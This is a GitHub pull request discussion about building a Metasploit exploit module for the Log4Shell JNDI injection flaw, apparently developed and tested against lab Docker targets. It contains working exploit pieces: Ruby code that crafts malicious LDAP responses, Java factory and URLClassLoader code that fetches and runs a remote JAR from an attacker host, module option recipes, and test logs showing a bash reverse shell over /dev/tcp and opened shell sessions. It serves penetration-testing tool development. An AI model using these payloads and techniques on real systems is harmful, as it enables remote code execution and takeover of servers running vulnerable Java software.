Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Log4j2 HTTP Header Injection Exploit #15969

Merged

Conversation

sempervictus
Copy link
Contributor

Using the infrastructure developped for use in the log4shell HTTP
scanner, implement a basic HTTP exploit module which performs the
same action as the scanner does per-host on a specific target; but
instead of logging the vulnerability, return a crafted LDAP search
response containing the payload encoded within the search response.

The crux of this effort lies in payload generation, specifically in
crafting the legal LDAP response packet out of the request data and
generated JAR-format payload. The payload selection is based on an
offline discussion with @Mihi during which he indicated JNDI's
ability to load JARs in the same way as raw Java classes. This
assumption/interpretation on my part may be incorrect.

At present, the delivered LDAP search response appears to be valid
in WireShark, and the vulnerable test docker is showing internal
values in its console output a la:

Received a request for API version com.sun.jndi.ldap.LdapCtx@3575a

which shows that it is processing the response on its end, just
not in the way we would prefer, yet.

This may be a result of how the MSF payload is being shuffled and
mutated by the packet construction method, or a mistake in the way
i pass in the queried base DN or execute the LDAP search response
transaction.

Testing: fails currently for aforementioned reason

TODO:
figure out how to encode the payload/LDAP response correctly
continue testing until verified and upstreamed

@sempervictus
Copy link
Contributor Author

sempervictus commented Dec 16, 2021

@r7 team: this depends on #15961 - its the "non working" split off of that branch, the original PR should be good to merge and then restore @zeroSteiner's lost (by my sloppy self) bits.
This will fail tests until #15961 lands

@sempervictus
Copy link
Contributor Author

Ping @schierlm & @timwr - if you guys have a sec, could use your assistance in that serialized_payload method.

@sempervictus
Copy link
Contributor Author

Addendum for senior developers - the meat of this module will go into a Remote::Exploit::JNDI mixin at some point so i'm all ears on relevant refactoring once we get the meat of this down.

@schierlm
Copy link
Contributor

@sempervictus Would you mind sharing your pcap file? I don't have any msf environment handy to apply that patch and try to reproduce myself, to have a look at the LDAP response.

Aside from that suggestion, some things seem fishy to me. I have no idea about Ruby LDAP libraries, but I would have expected to see at least one of the magic LDAP attribute names that trigger Object creation in JNDI or its encoded numerical value somewhere in the source code of this pull request.

That being said, in our off-list discussion I sent you the source for a simple self-contained Class file that can load a Metasploit generated JAR from a HTTP(S) URL. I would suggest the following steps:

  • Start by compiling this class, testing to run it (using java binary) to ensure the environment is correct to give you a shell that you can catch with an appropriately configured multi/handler.
  • Then embed its raw value (without any dynamically changed values) into your LDAP response, and tweak the LDAP response until you get a shell again
  • Next try to change the response to the correct attribute names for JAR instead of class, and a hard-coded JAR file
  • When all of this works, make it dynamic

That way, you don't have too many unknowns in each step and will probably find your issue faster. Also it will make it easier for others to help if they know which part is not working as expected.

@sempervictus
Copy link
Contributor Author

@schierlm: thanks for dropping by. Executing as suggested. :)

@sempervictus
Copy link
Contributor Author

@schierlm: as suggested, i added the attributes but i need a Java class serializer to encode the value correctly:

  def serialized_payload(msg_id, base_dn)
    jar    = generate_payload.encoded_jar
    jclass = Rex::Text.to_octal(jar.entries[2].data) # extract class file - this is gross, need better accessor/raw generator for this
    jclass.extend(Net::BER::Extensions::String)
    pay    = jclass.chars.map(&:to_ber).to_ber_set # this is wrong - need to serialize jclass
    # TODO: resolve payload java serialization as this is currently not triggering on delivery
    attrs  = [
      [ "javaClassName".to_ber, ["metasploit.Payload".to_ber].to_ber_set].to_ber_sequence,
      [ "javaSerializedData".to_ber, pay ].to_ber_sequence
    ]
    appseq = [
      base_dn.to_ber,
      attrs.to_ber_sequence
    ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
    [ msg_id.to_ber, appseq ].to_ber_sequence
  end

the rex-java gem seems to have something along these lines but i'm somewhat of a novice in that codebase so need to find examples of how an entire class gets stuffed into one of these. Suggestions more than welcome...

@schierlm
Copy link
Contributor

schierlm commented Dec 16, 2021

So you prefer to go the route of triggering a deserialization exploit instead of loading a remote class? This may be a good choice as it can be exploited on some Java versions where trusted codebase is disabled; however you will need another deserialization exploit to trigger it. Have a look at ysoserial for a collection of Java deserialization exploits.

I have no idea how Metasploit nowadays handles deserialization exploits.

@sempervictus
Copy link
Contributor Author

Thank you sir - i saw some reference to yososerial in the codebase here, going to dig into that a bit.
Reading this much Java lately has damaged my pride - i go between a bunch of languages (compiled and interpreted) for work all the time, but Java reads to me like disturbingly annotated C++ (with a good dash of hard drugs) and the logical constructs written in it are often very language-specific leaving the basic intent and function up to the (furious) reader to decipher like some deeper religious meaning 😁. Your skills in this domain (and others) indicate a well of patience suited to some legendary sniper or actual terrain feature.

@sempervictus
Copy link
Contributor Author

@schierlm: i've gone completely gross on this and included a b64 encoded, pre-serialized by java, test class. Still hitting stupid javax.naming.NamingException [Root exception is java.io.EOFException] in the exploited target though despite the LDAP packet appearing to be legal - i did have to encode the contents of that byte array into octal to make LDAP work (or we get ASN.1 decoding failures from Java), so not quite sure what the opaque magic of the native java LDAP delivery exploit PoCs is when it comes to byteArray packing through various interfaces (in Rust we're pretty clear about when we use framed codecs and such to do this stuff, i'm just not as proficient in Java to find the call chains in the available time).
@zeroSteiner - could you take a look at this and see if you can get a PoC to actually print out those test lines?

@schierlm
Copy link
Contributor

schierlm commented Dec 17, 2021

  • That "static class" in the comments got me confused - toplevel classes cannot be static. Looking at the Base64 decoded data made it clear: The class was a static inner class of class Build; therefore its fully qualified class name is Build$TEST.
  • Deserialization will not invoke constructors or toString methods (while of course log4j might; I just don't know), but <cinit> will be invoked. If you want a method that is invoked, you can use readResolve. Apart from that, the serialized payload as such is correct.
  • As you are sending an empty code base, the class file (Build$TEST.class as well as Build.class) needs to be on the CLASSPATH of the vulnerable application.

I created a small PoC LDAP server based on this PoC, and a small PoC client that does not use Log4J but directly calls JNDI:
LDAPRefServer.java.txt
JNDIClient.java.txt
Build.java.txt

When running those two (and the TEST class is on the class path of JNDIClient), I get

TEST CINIT!
Exception in thread "main" java.lang.ClassCastException: Build$TEST cannot be cast to javax.naming.Reference

PCAP file: jndi.pcapng.zip

@sempervictus
Copy link
Contributor Author

@schierlm - i've run into a javapayload/stager limitation it seems: i can't serialize it. My last commit sorta takes this into your domain of expertise: i'm bridging to Java to serialize this thing because $time === finite... but the payload raises an exception saying it cant be serialized.
I'm trying to use:

diff --git i/java/javapayload/src/main/java/metasploit/Payload.java w/java/javapayload/src/main/java/metasploit/Payload.java
index 41e3bfdc..03542b6c 100644
--- i/java/javapayload/src/main/java/metasploit/Payload.java
+++ w/java/javapayload/src/main/java/metasploit/Payload.java
@@ -43,6 +43,7 @@ import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
 import java.io.PrintStream;
+import java.io.Serializable;
 import java.net.ServerSocket;
 import java.net.Socket;
 import java.net.URL;
@@ -64,7 +65,7 @@ import java.util.StringTokenizer;
  * To invoke all the magic, call the {@link #main(String[])} method
  * (Or use it as Main-Class in a standalone jar and double-click it).
  */
-public class Payload extends ClassLoader {
+public class Payload extends ClassLoader implements Serializable {
 
     public static void main(String[] ignored) throws Exception {
         // Find our properties. If we are running inside the jar, they are in a resource stream called "/metasploit.dat".

but i'm not sure if thats the right thing to be prodding.
What should i do on the actual Java side of the payload to make

  def byte_array_payload
    jar            = generate_payload.encoded_jar
    file_name      = Rex::Text.rand_text_alpha_lower(8)
    file_path      = datastore['JavaCache'] + "/#{file_name}.jar"
    ::File.open(file_path, 'wb+') {|f| f.write(jar)}
    ::Rjb::load(file_path)
    ::File.unlink(file_path)
    payClass       = ::Rjb::import("metasploit.Payload")
    byteArrayClass = ::Rjb::import("java.io.ByteArrayOutputStream")
    outputClass    = ::Rjb::import("java.io.ObjectOutputStream")
    payInst        = payClass.new()
    byteArrayInst  = byteArrayClass.new()
    outputInst     = outputClass.new(byteArrayInst)
    # Crash here because metasploit.Payload/Payload.class is not serializable
    serResult      = outputInst.writeObject(payInst)
    payByteArray   = byteArrayInst.toByteArray()
  end

work?

@schierlm
Copy link
Contributor

My approach would be to not serialize (an instance of) the metasploit.Payload class, but another small serializable class that calls into the real payload class in its readResolve or readObject method. There are surely some Java deserialization exploits in Metasploit where you can steal code for this (e.g CVE-2008-5353).

@sempervictus
Copy link
Contributor Author

Thank you, will take a look at that approach.
Is there anything, from a Java perspective, wrong with something like rapid7/metasploit-payloads#518 ?

@sempervictus
Copy link
Contributor Author

Hmm, still seems to throw the same not serializable error. I'm guessing its because there are OS-native things in there?
Looking at CVE-2008-5353 sources, i'm a bit confused a bit as to how the thing works... diving deeper into it to see if i can extract a leaner loader for the exploit.

@righel
Copy link

righel commented Dec 18, 2021

Hello, sharing my 2 cents if I may, as I'm working on a log4shell metasploit module, but as a personal exercise and with no intent to share my lousy ruby code.

  1. Could not make the jndi lookup to execute a jar file, and I don't think that's possible according to docs.
  2. Are you planning to implement the javaFactory way or just the javaSerializedData? the first one is easy if you use Msf::Exploit::Remote::HttpServer to send the .class (got that working).
  3. For ldap I used a ruby gem called ruby-ldapserver (abandoned but works for this purpose), so cannot give much feedback here. But my workflow was comparing the output of the server response from JNDIExploit.jar vs. my ruby ldap server using:
    ldapsearch -x -b "your query" -H ldap://localhost:1389 (instead of using Wireshark)
  4. As @schierlm explained the vulnerable target can load jar files. For the payload I first tested with a basic class as @schierlm suggested, then moved on to the Java meterpreter payload, but had to do some changes in the source to get that to execute in the vuln host:
    • remove the package metasploit; line.
    • add a <cinit> initialization block as such:
        static {
                try {
                    main(null);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
  5. Java versions matter, to avoid issues use the same java version to compile the payload as the one running in the target host.

Still haven't found a way to inject the dynamic LHOST / LPORT options to the payload with Rex looking forward for your byte_array_payload method.

nice work @sempervictus, looking to forward to see final outcome of this module.

@sempervictus
Copy link
Contributor Author

sempervictus commented Dec 18, 2021

Hi @righel, welcome to the party.
Ugly Ruby code is nothing to be ashamed of - the language is bloody-near English and if you've ever read Catcher in the Rye then i assure you that your Ruby code is better (it runs, for one).
With that in mind, any chance you could share your modified code so that i could pull the Java changes and integrate your Ruby-side work here? I'm coming off of months of Rust to do this, hence the gory pull requests with awful mistakes and what i'm sure are pure idiocy on my part as i'm doing this in little chunks between actual work.
MSF is written by hackers, the work is mended and made acceptable by the terms of the commit covenant by real software developers @ R7, and the whole thing is a big exercise in learning. No code is too ugly (hell, i bloody stuffed a b64 encoded serialized piece of Java in here) to discuss and share, and if it works we'll make it pretty and consistent before it gets into master.

Edit: could you please elaborate on this piece Are you planning to implement the javaFactory way or just the javaSerializedData? the first one is easy if you use Msf::Exploit::Remote::HttpServer to send the .class (got that working). - ? I am not a Java person, i actually hate the language with roughly the same amount of energy i've wasted dealing with it and the security problems it causes over the ages; so i'm excruciatingly uninformed about their internal language semantics, factory patterns, etc.

@schierlm
Copy link
Contributor

schierlm commented Dec 18, 2021

@sempervictus It seems to me that you don't fully understand what the Serializable interface is doing. It affects whether instances (objects) of the class can be serialized, not whether the deserialized data can access the class. Making a class with no non-static fields or methods (like AESEncryption) Serializable has no effect.

Points against making random classes Serializable

  • Increases attack surface as they may be used in gadget chains (not really an issue for Metasploit)
  • Deep cloning frameworks will try to deserialize/reserialize, which will fail in case any of the (deeply) referenced members is not Serializable itself. If the class is not Serializable,,the framework may choose a different way
  • Most important here: Serializable interface is a red flag for antivirus, so it will look more closely at the classes. Also it makes it impossible to do certain class file transformations that help evade AV.

For these reasons, I would object to just make all the classes Serializable. Have one Serializable class that calls into the code, which gets injected into the jar file. I thought it was CVE-2008-5353, but it was CVE-2011-3544 that implemented this technique:
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/browser/java_rhino.rb#L102

@righel: JAR loading works just fine as long as com.sun.jndi.rmi.object.trustURLCodebase is still true (same as for classes). Both with javaFactory and javaSerializedData. Example for the Simple LDAP server linked above:

           byte[] data = Base64.getDecoder().decode("rO0ABXNyABNzaW1wbGUuRGVzZXJpYWxpemVktuW5ulliWWECAAB4cA==");
            e.addAttribute("javaClassName", "simple.Deserialized");
            e.addAttribute("javaCodeBase", "http://localhost/simple.jar");
            e.addAttribute("javaSerializedData", data);

or

            e.addAttribute("javaCodebase", "http://localhost/simple.jar");
            e.addAttribute("javaClassName", "simple.Factory");
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", "simple.Factory");

Sample JAR file including sources: simple.jar.zip

EDIT (had to run before):

  • Package names need to be separated by ., but the actual HTTP request for the class (if not in a .jar) will use /. If you correct that, packages should not be a problem
  • Running in <clinit> will break some other exploits. So either have it in a separate class (only works for JAR of course), or implement the correct Factory methods as in my example attached above
  • In general, try to target the lowest Java version that includes the language features and is still supported by your compiler. I still have a Java 6 compiler lying around as it can compile to anything between 1.0 and 1.6. Mostly using 1.1; 1.4 for crypto stuff, 1.5 for generics. All other things are syntactic sugar that can be edited out if required.
  • When you supply a Jar, resource loading should work automatically, also loading embedded native binaries.

@righel
Copy link

righel commented Dec 18, 2021

@schierlm nice!, I'll keep trying (not today unfortunately). Must have missed something. Thanks for the resources!

@sempervictus I pushed my lousy code to this branch: https://github.com/righel/metasploit-framework/tree/log4shell
Not sure how helpful that can be as it's a basic PoC, your goal is more ambitious.

By javaFactory method I meant using the attack vector that does not rely on java deserialization vulnerabilities, just a simple remote class inclusion where your LDAP server replies with something like:

dn: foo
javaClassName: foo
javaCodeBase: http://172.17.0.1:7800/
objectClass: javaNamingReference
javaFactory: Payload 

Which results in the vulnerable host loading and executing the remote class from http://172.17.0.1:7800/Payload.class.

The actual script: https://github.com/righel/metasploit-framework/blob/log4shell/modules/exploits/multi/misc/log4shell.rb
My modified Java meterpreter class: https://github.com/righel/metasploit-framework/blob/log4shell/external/source/exploits/CVE-2021-44228/Payload.java

How I use it:

use exploit/multi/misc/log4shell
set PAYLOAD java/meterpreter/reverse_tcp

# LDAP and payload server
set LHOST 172.17.0.1
set LPORT 8888
set SRVHOST 172.17.0.1
set SRVPORT 7800

# target
set RHOST 172.17.0.1
set RPORT 8080
set JAVAPAYLOAD /tmp/Payload.class
exploit

@schierlm
Copy link
Contributor

@sempervictus I don't think it adds constructively to this discussion if you tell us how much you hate (i.e. are unwilling to spend time to learn about) both the technology you are exploiting and the technology you are using to write the exploit in.

The basic idea about JNDI in LDAP is that you can store domain objects (objects don't only exist in Java but also in other object-oriented languages) directly in the LDAP server. So for a person record you can store the EmployeeData object in the LDAP server, or some distributed server nodes can store a RMI endpoint to invoke them in the LDAP server.

For non-RMI endpoints, there are two ways how to do this:

  • The serializedData approach: Your object implements Serializable, and when you store it to the LDAP server, the class name, code base and a binary blob of the content of the object get stored in the LDAP server.
    Advantage Can be implemented easily (no implementation needed if object is already Serialiable), objects can be loaded, changed, and stored again out of the box.
    Disadvantage Lots of ugly binary blobs in your LDAP server.

  • The JavaFactory approach: In addition to your domain object, you implement a factory class, which gets the (human-readable and human-editable) data in your LDAP server and builds the domain object from it.
    Advantage The data in your LDAP server is human readable and human editable
    Disadvantage You need to implement a Factory class for every class you want to persist that way. Classes loaded from LDAP cannot store themselves back into LDAP, you need explicit code to update the human-readable attributes in LDAP if you need this.

From an exploitation perspective, the advantage of serialized objects is that you do not need to have trusted code base enabled; if your target software includes some classes that can be abused in a gadget chain. The disadvantage is that you need a serialized object. If you have no intentions to do a serialization exploit, using the factory method is a lot easier. (This is similar to how Data Execution Prevention is exploited by using a ROP chain, depends on the exact software you are exploiting).

@sempervictus
Copy link
Contributor Author

@schierlm - thank you! Those nuances would have taken me days/weeks to suss out from the docs and trying to break stuff.
I need to go do breakfast things for a short while, but will return to address the rest of this and try to hack up something stager-y in an hour or so.

@sempervictus
Copy link
Contributor Author

Sorry for lag, clients needed a hand.
@schierlm: So going on the In addition to your domain object, you implement a factory class, which gets the (human-readable and human-editable) data in your LDAP server and builds the domain object from it. concept, "implement" where? I dont use factory patterns much in any language (and have recently gone away from OO entirely), so this isn't a very familiar concept to me. Concurrently, im somewhat confused how the factory class gets into the target to build anything if it itself is not a serialized injected object from the LDAP query. Or is the idea that the Java class factory lives in Ruby and is somehow prodded to build a class for the other side and then deliver it there over yet another transport?
At present, my thinking is that if we can build a dedicated serialized stage0 then it can fetch stage1 from a handler like normal payloads do and "just work," but i'm pretty confused at this point about what can and can't be serialized since such a stager would need to instantiate a socket once loaded but not carry one in it during serialized transport. However, if i can figure out the design of this factory concept maybe that'll help clear the fog a bit :)

@schierlm
Copy link
Contributor

@sempervictus: I have the impression you are thinking too complicated :-)

You have to distinguish between two cases:

  1. Trusted Code Base is enabled. Which means, that you pass the "javaCodeBase" attribute pointing to a "directory" or "jar file" over any protocol supported by Java (usually http:// or https:// for exploits, but file:// is also quite common on local machines), and Java will take care to add this to one of its classloader's classpaths and load the class from there. At that point, code behaves as if it was passed via -classpath to the running Java VM. So very easy. Have a .jar that contains one Factory (or Serializable) class and all your other payload, make it available via HTTP(S), and both serialized and factory payloads will load the classes needed.

  2. Trusted Code Base is disabled. In that case, javaFactory JNDI is not exploitable remotely. But also, javaSerializedObject will not be able to get any class files into the target that are not already there, so the only code that you can execute is in already existing classes. That is why you will need some "gadgets" inside of Serializable classes inside the target application. Fortunately there are quite a lot that execute native commands, and still a hand ful that can load Java classes via the network from some server. Hence the suggestion to look at ysoserial.

The factory class looks like this (already previously posted part of simple.zip):

package simple;
import java.util.Hashtable;
import javax.naming.*;

public class Factory implements javax.naming.spi.ObjectFactory {

	public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
		System.out.println("Loading via factory...");
		Payload.main(null);
		return null;
	}
}

Regardless what context and values are availble, it will invoke the payload (which will be loaded via trusted code base as it is in the same JAR as the Factory class), and then return null to gracefully tell the caller that the "object" could not be constructed (It could of course also construct an object, but then you'd need another class in the .jar that contains the class file for that object).

Or you can use more or less any class, as long as the static initializer already runs your payload. It may cause a thread inside your attacked application to crash, as JNDI will throw an exception that is not expected by the caller, but your payload should be fine.

@sempervictus
Copy link
Contributor Author

sempervictus commented Dec 18, 2021

Thank you sir, that jives with what i've been reading in my study of ysoserial functionality - the ROPing process isn't there to allocate and fill (with our content) an executable slab of memory like we do in the binary payloads, but to get additional java classes into the running virtual machine which can then be pointed to and executed.
Case 1 appears to be the "stager" concept except we're not sending any sort of executing thing to stage, we are using the LDAP response to point the runtime to the code we want it to execute from our own service a la:

  def serialized_payload(msg_id, base_dn)
    attrs  = [
      [ "javaClassName".to_ber, ["metasploit.Payload".to_ber].to_ber_set ].to_ber_sequence,
      [ "javaCodebase".to_ber, ["#{jar_payload_url}".to_ber].to_ber_set ].to_ber_sequence,
    ]
    appseq = [
      base_dn.to_ber,
      attrs.to_ber_sequence
    ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
    [ msg_id.to_ber, appseq ].to_ber_sequence
  end

Case 2 on the other hand sounds more like we do want to get a serialized buffer in there via

  def serialized_payload(msg_id, base_dn)
    attrs  = [
      [ "javaClassName".to_ber, ["loaderClass".to_ber].to_ber_set ].to_ber_sequence,
      [ "javaSerializedData".to_ber, [byte_array_payload.to_ber].to_ber_set ].to_ber_sequence
    ]
    appseq = [
      base_dn.to_ber,
      attrs.to_ber_sequence
    ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
    [ msg_id.to_ber, appseq ].to_ber_sequence
  end

and find those deserialization gadgets hopefully in log4j itself (otherwise this will have to be app-by-app basis vs a generic l4j <2.17 target). At that point though we do need an actual java stager which is serialized and then deserialized by said gadgets to execute a loader or factory routine of some sort. If that is the process, can we do some sort of non-native serialization of the meterp class file (bson or something) and unpack it on the other side with the stage0 deserialized loader?
Is that a bit closer to the mark on the innards of this stuff, and am i still over-complicating the matter? 😄

@schierlm
Copy link
Contributor

Yeah, I think you are now on track.

For number 1, you don't want metasploit.Payload as factory class, but e.g. metasploit.PayloadFactory, which will then load metasploit.Payload as in my Factory example above.

For number 2:

The security advisory of log4j reads to me as they checked recent versions of log4j and did not find any suitable deserialization gadgets. But older Java 8 versions have some, also the gadgets in Jakarta Commons Collections and in Mozilla Rhino may be useful as these libraries are quite ubiquitous in the Java world, too.

The existing deserialization gadgets I know of (ysoserial or other) generally are combined to expose one of two functionalities:

  • Execute a native command (so you can only exploit them with ARCH_CMD exploits in Metasploit)
  • Add an URL to a folder or jar on a HTTP server to the classpath (then you point it to a jar as for number 1, and deserialize another object which will use the code in the JAR file).

So, as I see it, you don't have to think of any custom payload transportation protocols. Loading classes or JARs from URLs is ubiquitous in Java.

The gadgets basically have to perform the same task as the example code from our previous email conversation (stripping the text for privacy reasons, and including only the Java class here):

import java.net.URL;
import java.net.URLClassLoader;

public class MyClass {
    public MyClass() throws Exception {
        URLClassLoader ucl = new URLClassLoader(new URL[] {
            new URL("http://evil.guy:8888/payload.jar")
        });
        ucl.loadClass("metasploit.Payload")
            .getMethod("main", String[].class)
            .invoke(null, (Object) null);
    }
}

@sempervictus
Copy link
Contributor Author

sempervictus commented Dec 19, 2021

Loading classes or JARs from URLs is ubiquitous in Java. - could be the title of an article about the apocalypse, nice 😁

I must agree with your earlier assessment regarding over-complication, seems that Java really wants to execute remote code, like "really really" wants to... and here i was naively thinking that i have to get my code in there surreptitiously. Silly me.

I'll get on scaffolding case 1 currently, at least we oughta be able to hit the low-hanging fruit with that, but from the Msf side i might need to hack together a web server so that i dont have two service mixins running from a single module.
Case 2 strikes me as much more interesting since it doesn't require cheat codes (remote code loading ~= iamcornholio in duke3d) and may have wider application provided we could find something common enough to play inside-man for us in a sufficient variety of targets.

@sempervictus
Copy link
Contributor Author

sempervictus commented Dec 19, 2021

Actually - for case 1, would it be enough to have an HTTP payload handler just serving out the called resource on-connect, or will that not work since its expecting to be called from an actual stage0?

@schierlm
Copy link
Contributor

Remember that Java started with the goal that your toaster can run applets from the Internet :)
Java 1.0 was very limited in what that toaster could do with it, but still.

Many concepts in Java (RMI, JNDI) come from that time frame, and were only "hardened" later, once Java got more ubiquitous on servers and got more features.

I believe HTTP payload handlers in Metasploit won't deliver the actual stage, they will only provide a communication channel so that the payload can request parts of the communication stream and send reply chunks. So it won't work.

RageLtMan added 4 commits December 29, 2021 09:10
Clean up the Java code for PayloadFactory - the `main()` function
is actually not required, the error seen on initial attempts to
compile was some sort of PEBKAC or weird things in classpaths.

Update the module to start the HTTP server before issuing the HTTP
request starting the call chain which eventually executes the Java
PayloadFactory - that chain is quick and races with the service's
startup time to get the JAR containing the Payload and its factory.

Minor misc cleanup.
Give credit where due: we stand on the shoulders of giants.

Testing:
  LDAP request is serviced with response containing our JAR URL and
trigger parameters for the factory to instantiate Payload.class and
call its `main()` function.
  HTTP request is serviced to deliver the JAR.
  Payload handler on MSF-side is tripped with incoming connection.
Pull in the ysoserial mixin and create target configurations to
permit ysoserial payload generation. Setup datastore options and
execution flow to manage the remote code loading workflow vs the
deserialization approach.

The buffer produced by ysoserial still needs to be marshalled into
a valid Java String or Stream of some sort, and verified functional
against the PoC target container using public ysoserial libraries.
@sempervictus
Copy link
Contributor Author

@timwr (and everyone else reading, might be a great project for @righel) - when you have some creative excess, could you possibly look into (and please kick me when you do) getting Marshalsec wired up like Ysoserial and expanding both of them to potentially build those harnesses on the fly via Rjb or (and i dont suggest this avenue due to OS variance) local invocation of the build tooling, for some dynamism and compositional flexibility?
This is going to be a long and drawn out mess so i think that we need to up the ante big time on serialization tooling in the framework. If we can learn to probe for loaded classes and then have some sort of "smart selector" compose relevant gadgets and build-to-target, it will permit far wider testing for the exposure and level of access resulting from these vectors (much of which will be network-based since getting SBOM and local mapping on nutso vendor image formats might not be a thing for folks without RE skills and a saddlebag filled to the brim with sado-masochistic intent to perform said RE). I'm thinking along the lines of "a shell on every fridge, and a second thought about doing stupid things in loggers in every developer brain"

Copy link
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I was able to successfully test this against a contrived struts2 docker image with the following settings:

set HTTP_HEADER If-Modified-Since
set TARGETURI /struts2-showcase/struts/utils.js
set YSOSERIAL_LIB CommonsBeanutils1
set TARGET Linux
set REMOTE_LOAD false
set PAYLOAD cmd/unix/reverse_bash

Documenting those here because it took me a lot of trial and error to lock down the correct options.

Testing Output
msf6 exploit(multi/http/log4shell_header_injection) > show options 

Module options (exploit/multi/http/log4shell_header_injection):

   Name              Current Setting                    Required  Description
   ----              ---------------                    --------  -----------
   HTTPPORT          9090                               yes       The HTTP server port
   HTTP_HEADER       If-Modified-Since                  yes       The header to inject
   HTTP_METHOD       GET                                yes       The HTTP method to use
   LDAP_AUTH_BYPASS  true                               yes       Ignore LDAP client authentication
   LDIF_FILE                                            no        Directory LDIF file path
   Proxies                                              no        A proxy chain of format type:host:port[,type:host:port][...]
   REMOTE_LOAD       false                              yes       Load payload from MSF HTTP service instead of Ysoserial method
   RHOSTS            192.168.159.128                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT             8080                               yes       The target port (TCP)
   SRVHOST           192.168.159.128                    yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all
                                                                   addresses.
   SRVPORT           389                                yes       The local port to listen on.
   SSL               false                              no        Negotiate SSL/TLS for outgoing connections
   TARGETURI         /struts2-showcase/struts/utils.js  yes       The URI to scan
   VHOST                                                no        HTTP server virtual host
   YSOSERIAL_LIB     CommonsBeanutils1                  yes       Ysoserial library for deserialization (Accepted: CommonsBeanutils1, CommonsCollections1, CommonsCollections2, CommonsColle
                                                                  ctions3, CommonsCollections4, CommonsCollections5, CommonsCollections6, Groovy1, Hibernate1, JBossInterceptors1, JSON1, Ja
                                                                  vassistWeld1, Jdk7u21, MozillaRhino1, Myfaces1, ROME, Spring1, Spring2)


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.159.128  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   2   Linux


msf6 exploit(multi/http/log4shell_header_injection) > run

[+] bash -c '0<&166-;exec 166<>/dev/tcp/192.168.159.128/4444;sh <&166 >&166 2>&166'
[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Client sent unexpected request 2
[*] Command shell session 5 opened (192.168.159.128:4444 -> 192.168.159.128:53630 ) at 2022-01-06 17:18:18 -0500
[*] Server stopped.

id
uid=999(tomcat) gid=999(tomcat) groups=999(tomcat)
pwd
/

There's alot of configuration necessary for this module, so in order to be useful I think we're going to need some detailed module docs. I'm happy to write those up for you if you'd like @sempervictus . My last concern is the REMOTE_LOAD functionality includes alot of code that I haven't been able to test. I'd like to either see it work or remove it for now until I can either make or receive steps to demonstrate it. Edit: Nevermind, was able to get it working using christophetd/log4shell-vulnerable-app:latest as the target, and the Automatic target, which was the key to allow setting the payload to the Java meterpreter instead of using a Linux command.

modules/exploits/multi/http/log4shell_header_injection.rb Outdated Show resolved Hide resolved
modules/exploits/multi/http/log4shell_header_injection.rb Outdated Show resolved Hide resolved
modules/exploits/multi/http/log4shell_header_injection.rb Outdated Show resolved Hide resolved
modules/exploits/multi/http/log4shell_header_injection.rb Outdated Show resolved Hide resolved
modules/exploits/multi/http/log4shell_header_injection.rb Outdated Show resolved Hide resolved
modules/exploits/multi/http/log4shell_header_injection.rb Outdated Show resolved Hide resolved
[
'Automatic', {
'Platform' => 'java',
'Arch' => [ARCH_JAVA],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Correct me if I'm wrong, but since this target only supports ARCH_JAVA, it's incompatible with REMOTE_LOAD false because the YSOSerial gadget chains can't handle a java payload, only commands.

The inverse is then also true. This makes me wonder if REMOTE_LOAD should even be user-configurable or just inferred based on the target that the user specified with the implications of the technique described within the documentation.

FWIW, we have the ability to hide options that are inactive. You could for example hide YSOSERIAL_LIB when the target is Automatic since it'll be ignored. That may make it easier for users to understand that if their exploit fails, changing that option won't do anything.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Agreed, thats the way its supposed to work really, but it creates a bit of user-opacity in terms of the killchain logic since they have to grok the framework's concepts of targets to make it viable. Honestly given the potential damage of this, i dont mind making people break a knuckle or two to get it working - keeps the lazy skiddie scum at bay.
I say "go for it" in the PR on the PR, its a nice mechanical thing to streamline.

@smcintyre-r7
Copy link
Contributor

Proposed the changes (and some extras too) that we discussed in sempervictus#31.

@smcintyre-r7 smcintyre-r7 self-assigned this Jan 7, 2022
@sempervictus
Copy link
Contributor Author

Proposed changes pulled in - definitely earned that authors credit boss 😁

@sempervictus
Copy link
Contributor Author

Do you want me to merge-squash this before we commit? My git history is a wash anyway since i asked for rex to get split and you're probably coming up on HD levels of git blame.

@sempervictus
Copy link
Contributor Author

Looks like the bots are happy. We'll revisit this one soon enough anyway once we land the #16005 PR if you wanna do more touch-up. Any blockers, or can we land and get into the fun of services and mixin extraction?

Copy link
Contributor

@space-r7 space-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Only left a question about the byte_array_payload() function. Tested against Struts2 and Spring targets through Docker:

Module Output
msf6 exploit(multi/http/log4shell_header_injection) > set rport 8080
rport => 8080
msf6 exploit(multi/http/log4shell_header_injection) > run

[+] bash -c '0<&153-;exec 153<>/dev/tcp/192.168.140.105/4444;sh <&153 >&153 2>&153'
[*] Started reverse TCP handler on 192.168.140.105:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 127.0.0.1:8080        - Log4Shell found via /struts2-showcase/struts/utils.js (header: If-Modified-Since) (java: BellSoft_11.0.13)
